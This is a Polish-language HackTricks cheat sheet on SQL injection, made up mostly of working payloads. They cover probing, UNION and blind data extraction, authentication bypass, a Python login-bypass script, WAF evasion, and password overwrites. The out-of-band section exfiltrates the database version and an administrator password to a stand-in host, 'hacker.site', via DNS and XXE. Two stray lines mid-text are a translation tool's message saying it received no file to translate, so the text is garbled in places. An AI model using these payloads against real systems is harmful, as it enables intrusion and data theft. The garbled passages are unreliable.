SQL Injection
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest SQL injection?
SQL injection jest luką bezpieczeństwa, która pozwala atakującym ingerować w zapytania do bazy danych aplikacji. Ta luka może umożliwić atakującym przeglądanie, modyfikowanie lub usuwanie danych, do których nie powinni mieć dostępu, włączając informacje innych użytkowników lub jakiekolwiek dane, do których aplikacja ma dostęp. Takie działania mogą spowodować trwałe zmiany w funkcjonalności lub zawartości aplikacji, a nawet kompromitację serwera lub denial of service.
Wykrywanie punktów wejścia
Kiedy strona wydaje się być podatna na SQL injection (SQLi) z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, pierwszym krokiem jest zrozumienie, jak wstrzyknąć dane do zapytania bez jego zakłócenia. Wymaga to zidentyfikowania metody, aby skutecznie wydostać się z aktualnego kontekstu. Oto kilka przydatnych przykładów:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Następnie musisz wiedzieć, jak poprawić zapytanie, aby nie zwracało błędów. Aby naprawić zapytanie, możesz wprowadzić dane, tak aby poprzednie zapytanie zaakceptowało nowe dane, lub możesz po prostu wprowadzić swoje dane i dodać symbol komentarza na końcu.
Zauważ, że jeśli widzisz komunikaty o błędach lub potrafisz dostrzec różnice między działającym zapytaniem a niedziałającym, ta faza będzie łatwiejsza.
Komentarze
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Potwierdzanie za pomocą operacji logicznych
Niezawodna metoda potwierdzenia podatności na SQL injection polega na wykonaniu operacji logicznej i obserwacji oczekiwanych wyników. Na przykład GET parameter taki jak ?username=Peter zwracający identyczną zawartość po zmianie na ?username=Peter' or '1'='1 wskazuje na podatność na SQL injection.
Podobnie zastosowanie operacji matematycznych jest skuteczną techniką potwierdzającą. Na przykład, jeśli dostęp do ?id=1 i ?id=2-1 daje ten sam wynik, jest to oznaką SQL injection.
Przykłady demonstrujące potwierdzenie przez operacje logiczne:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Ta lista słów została stworzona, aby spróbować potwierdzić SQLinjections w zaproponowanym sposobie:
Prawdziwe SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Potwierdzanie przez pomiar czasu
W niektórych przypadkach nie zauważysz żadnej zmiany na testowanej stronie. Dlatego dobrym sposobem na discover blind SQL injections jest zmuszenie DB do wykonania akcji, które będą miały wpływ na czas ładowania strony.
Dlatego dodamy do zapytania SQL operację concat, która zajmie dużo czasu na wykonanie:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
W niektórych przypadkach sleep functions nie będą dozwolone. Wówczas, zamiast używać tych funkcji, możesz sprawić, że zapytanie będzie perform complex operations, co zajmie kilka sekund. Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli występują).
Identyfikacja Back-endu
Najlepszym sposobem na zidentyfikowanie back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć sleep functions z poprzedniej sekcji lub tych (tabela z payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Również, jeśli masz dostęp do wyniku zapytania, możesz sprawić, by ono wyświetliło wersję bazy danych.
Tip
W dalszej części omówimy różne metody wykorzystywania różnych typów SQL Injection. Jako przykład użyjemy MySQL.
Identifying with PortSwigger
SQL injection cheat sheet | Web Security Academy
Wykorzystywanie Union Based
Wykrywanie liczby kolumn
Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób jego wykorzystania.
Po pierwsze, musimy ustalić liczbę kolumn, które zwraca żądanie początkowe. Dzieje się tak, ponieważ oba zapytania muszą zwracać tę samą liczbę kolumn.
Do tego celu zazwyczaj używa się dwóch metod:
Order/Group by
Aby określić liczbę kolumn w zapytaniu, stopniowo zwiększaj liczbę używaną w klauzulach ORDER BY lub GROUP BY aż otrzymasz błąd. Pomimo odmiennych funkcji GROUP BY i ORDER BY w SQL, obie można wykorzystać tak samo do ustalenia liczby kolumn zwracanych przez zapytanie.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Select coraz więcej wartości NULL, aż zapytanie będzie poprawne:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Powinieneś używać null wartości, ponieważ w niektórych przypadkach typ kolumn po obu stronach zapytania musi być taki sam, a null jest akceptowalny w każdym przypadku.
Wyodrębnianie nazw baz danych, nazw tabel i nazw kolumn
W kolejnych przykładach pobierzemy nazwy wszystkich baz danych, nazwy tabel w bazie danych oraz nazwy kolumn w tabeli:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Istnieje inny sposób odkrycia tych danych w każdej różnej bazie danych, ale metodologia zawsze jest taka sama.
Exploiting Hidden Union Based
Gdy the output of a query jest widoczny, ale union-based injection wydaje się nieosiągalny, oznacza to obecność hidden union-based injection. Taki scenariusz często prowadzi do sytuacji blind injection. Aby przekształcić blind injection w union-based, trzeba ustalić execution query po stronie backendu.
Można to osiągnąć stosując techniki blind injection razem z default tables specyficznymi dla docelowego Database Management System (DBMS). Aby zrozumieć te default tables, zaleca się konsultację dokumentacji docelowego DBMS.
Gdy query zostanie wydobyte, trzeba dostosować payload tak, aby bezpiecznie zamknąć oryginalne query. Następnie do payloadu dołącza się union query, co umożliwia wykorzystanie nowo dostępnego union-based injection.
Po więcej informacji odwołaj się do pełnego artykułu dostępnego pod adresem Healing Blind Injections.
Exploiting Error based
Jeżeli z jakiegoś powodu nie możesz cannot zobaczyć output of the query, ale możesz see the error messages, możesz sprawić, że te error messages będą służyć do ex-filtrate danych z bazy danych.
Podążając podobnym flow jak w Union Based exploitation, możesz zdołać dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Eksploatacja Blind SQLi
W tym przypadku nie widzisz wyników zapytania ani błędów, ale możesz rozróżnić, kiedy zapytanie zwraca odpowiedź true lub false, ponieważ na stronie pojawiają się różne treści.
W takim przypadku możesz wykorzystać to zachowanie, aby dump the database znak po znaku:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Wykorzystywanie Error Blind SQLi
To jest ten sam przypadek co wcześniej, ale zamiast rozróżniać odpowiedź true/false z zapytania, możesz rozróżnić, czy w zapytaniu SQL wystąpił error czy nie (np. z powodu awarii serwera HTTP). W takim przypadku możesz wymusić SQLerror za każdym razem, gdy poprawnie odgadniesz char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
W tym przypadku nie ma żadnego sposobu, aby rozróżnić odpowiedź zapytania w oparciu o kontekst strony. Jednak możesz sprawić, że strona będzie ładować się dłużej, jeśli odgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu w celu confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Możesz użyć stacked queries, aby wykonać wiele zapytań po kolei. Zauważ, że chociaż kolejne zapytania są wykonywane, wyniki nie są zwracane do aplikacji. W związku z tym ta technika jest głównie przydatna w kontekście blind vulnerabilities, gdzie możesz użyć drugiego zapytania do wywołania DNS lookup, conditional error lub time delay.
Oracle nie obsługuje stacked queries. MySQL, Microsoft i PostgreSQL je obsługują: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Jeśli żaden inny sposób eksploatacji nie zadziałał, możesz spróbować sprawić, by database ex-filtrate informacje do external host kontrolowanego przez ciebie. Na przykład przez DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Poza pasmem data exfiltration przez XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
Sprawdź SQLMap Cheatsheet, aby wykorzystać podatność SQLi za pomocą sqlmap.
Tech specific info
Omówiliśmy już wszystkie sposoby wykorzystania podatności SQL Injection. Znajdź dodatkowe triki zależne od technologii bazy danych w tej książce:
Lub znajdziesz wiele trików dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Lista do wypróbowania, aby obejść funkcjonalność logowania:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
To zapytanie ukazuje podatność, gdy MD5 jest używany z true dla surowego wyjścia w kontrolach uwierzytelniania, przez co system staje się podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które po zahashowaniu generują nieoczekiwane fragmenty poleceń SQL, prowadząc do nieautoryzowanego dostępu.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Zalecana lista:
Użyj jako username każdej linii listy, a jako password zawsze: Pass1234.
(Te payloads są również zawarte w dużej liście wspomnianej na początku tej sekcji)
GBK Authentication Bypass
Jeśli ’ jest escaped możesz użyć %A8%27, a kiedy ’ zostanie escaped, powstanie: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Nie widzę treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/sql-injection/README.md (albo tekst), który mam przetłumaczyć. Przetłumaczę tylko angielski tekst zgodnie z zasadami: nie tłumaczę kodu, nazw technik, linków, ścieżek, tagów markdown/html itp.
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Zmiana hasła istniejącego obiektu/użytkownika
Aby to zrobić, spróbuj utworzyć nowy obiekt o nazwie “master object” (prawdopodobnie admin w przypadku użytkowników), modyfikując coś:
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (when there is some kind of length limit in the username or email) –> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: “admin [30 spaces] a” and any password.
The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: “admin [25 spaces]”) and the it will automatically remove all the spaces at the end updating inside the database the user “admin” with the new password (some error could appear but it doesn’t means that this hasn’t worked).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Dodaj tyle ','','', ile uważasz za konieczne, aby wyjść z VALUES statement. Jeśli delay zostanie wykonany, masz SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Klauzula ON DUPLICATE KEY UPDATE w MySQL służy do określenia działań, które baza danych ma wykonać, gdy próba wstawienia wiersza spowodowałaby duplikat wartości w UNIQUE index lub PRIMARY KEY. Poniższy przykład pokazuje, jak tę funkcję można wykorzystać do zmiany hasła konta administratora:
Example Payload Injection:
Injection payload może być skonstruowany w następujący sposób, w którym próbuje się wstawić dwa wiersze do tabeli users. Pierwszy wiersz jest wabikiem, a drugi celuje w istniejący adres e-mail administratora w celu zaktualizowania hasła:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Jak to działa:
- Zapytanie próbuje wstawić dwa wiersze: jeden dla
generic_user@example.comi drugi dlaadmin_generic@example.com. - Jeśli wiersz dla
admin_generic@example.comjuż istnieje, klauzulaON DUPLICATE KEY UPDATEzostaje wywołana i nakazuje MySQL zaktualizować polepasswordistniejącego wiersza na “bcrypt_hash_of_newpassword”. - W konsekwencji można spróbować uwierzytelnić się używając
admin_generic@example.comz hasłem odpowiadającym temu hashowi bcrypt (“bcrypt_hash_of_newpassword” oznacza hash bcrypt nowego hasła i powinien zostać zastąpiony rzeczywistym hashem wybranego hasła).
Wyciąganie informacji
Tworzenie dwóch kont jednocześnie
Przy próbie utworzenia nowego użytkownika potrzebne są username, password i email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Używanie dziesiętnego lub szesnastkowego
Dzięki tej technice możesz wydobyć informacje, tworząc tylko 1 konto. Ważne: nie musisz dodawać żadnych komentarzy.
Używając hex2dec i substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Nie otrzymałem zawartości pliku. Wklej tutaj treść pliku src/pentesting-web/sql-injection/README.md (albo podaj jej zawartość), a przetłumaczę ją na polski zgodnie z podanymi zasadami.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Używając hex i replace (i substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection to sytuacja, w której zapytanie podatne na SQL injection nie jest tym, które zwraca wynik, lecz wynik tego zapytania trafia do zapytania, które zwraca wynik. (From Paper)
Przykład:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass używając alternatyw dla białych znaków
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass przy użyciu comments
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass przy użyciu nawiasów
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass używając OFFSET, FROM i JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Ogólne obejścia
Blacklist używająca słów kluczowych - obejście przez użycie wielkich/małych liter
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Czarna lista używając słów kluczowych bez rozróżniania wielkości liter - obejście przy użyciu równoważnego operatora
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
Szczegółowe wyjaśnienie tego triku znajdziesz na gosecure blog.
Zasadniczo możesz użyć scientific notation w nieoczekiwany sposób, aby bypass WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Obejście ograniczenia nazw kolumn
Po pierwsze, zauważ, że jeśli oryginalne zapytanie i tabela, z której chcesz wyodrębnić flag, mają taką samą liczbę kolumn, możesz po prostu zrobić: 0 UNION SELECT * FROM flag
Można uzyskać dostęp do trzeciej kolumny tabeli bez użycia jej nazwy używając zapytania takiego jak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, więc w sqlinjection wyglądałoby to tak:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Lub używając comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Ten trik pochodzi z https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
Jeśli dane wejściowe użytkownika są konkatenowane do SELECT listy lub table/column identifiers, prepared statements nie pomogą, ponieważ bind parameters chronią tylko values, a nie identifiers. Często spotykany podatny wzorzec to:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Pomysł eksploatacji: wstrzyknięcie subquery w pozycję pola w celu eksfiltracji dowolnych danych:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Uwagi:
- To działa nawet wtedy, gdy klauzula WHERE używa parametru związanego, ponieważ lista identyfikatorów nadal jest łączona konkatenacją łańcuchów znaków.
- Niektóre stacki dodatkowo pozwalają kontrolować nazwę tabeli (tablename injection), umożliwiając odczyty między tabelami.
- Output sinks mogą odzwierciedlać wybraną wartość w HTML/JSON, pozwalając na XSS lub token exfiltration bezpośrednio z odpowiedzi.
Środki zaradcze:
- Nigdy nie łącz identyfikatorów pochodzących z wejścia użytkownika. Mapuj dozwolone nazwy kolumn na stałą allow-list i poprawnie cytuj identyfikatory.
- Jeśli wymagany jest dynamiczny dostęp do tabel, ogranicz go do skończonego zestawu i rozwiązuj po stronie serwera z bezpiecznego mapowania.
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
Niektóre frameworki konwertują złożone ASTy filtrów na surowe fragmenty booleanowe SQL (np. metadata filters lub JSON predicates), a następnie łączą te fragmenty przez string-concatenate w większe zapytania. Jeśli konwerter owija wartości stringowe jako '%s' bez escapowania, pojedynczy apostrof w danych wejściowych użytkownika kończy literal, a reszta jest parsowana jako SQL.
Przykładowy wzorzec (koncepcyjny):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → odkodowane: ' OR '1'='1 → predykat staje się:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / SQLi oparte na identyfikatorach (ograniczenie PDO)
Prepared statements nie mogą powiązać identyfikatorów (nazw kolumn lub tabel). Częstym niebezpiecznym wzorcem jest pobranie kontrolowanego przez użytkownika parametru sort i zbudowanie ORDER BY za pomocą konkatenacji łańcuchów, czasami owijając wejście w backticks, aby je „oczyścić”. To nadal umożliwia SQLi, ponieważ kontekst identyfikatora jest kontrolowany przez atakującego.
Wzorzec podatny:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
Sygnały w ruchu:
- Parametr sort w POST (często
sort=column), nie jest stałą listą dozwolonych wartości. - Zmiana
sortpowoduje błąd zapytania lub zmienia kolejność wyników.
Narzędzia sugerujące obejście WAF
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
Inne poradniki
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Lista wykrywania Brute-Force
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Źródła
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


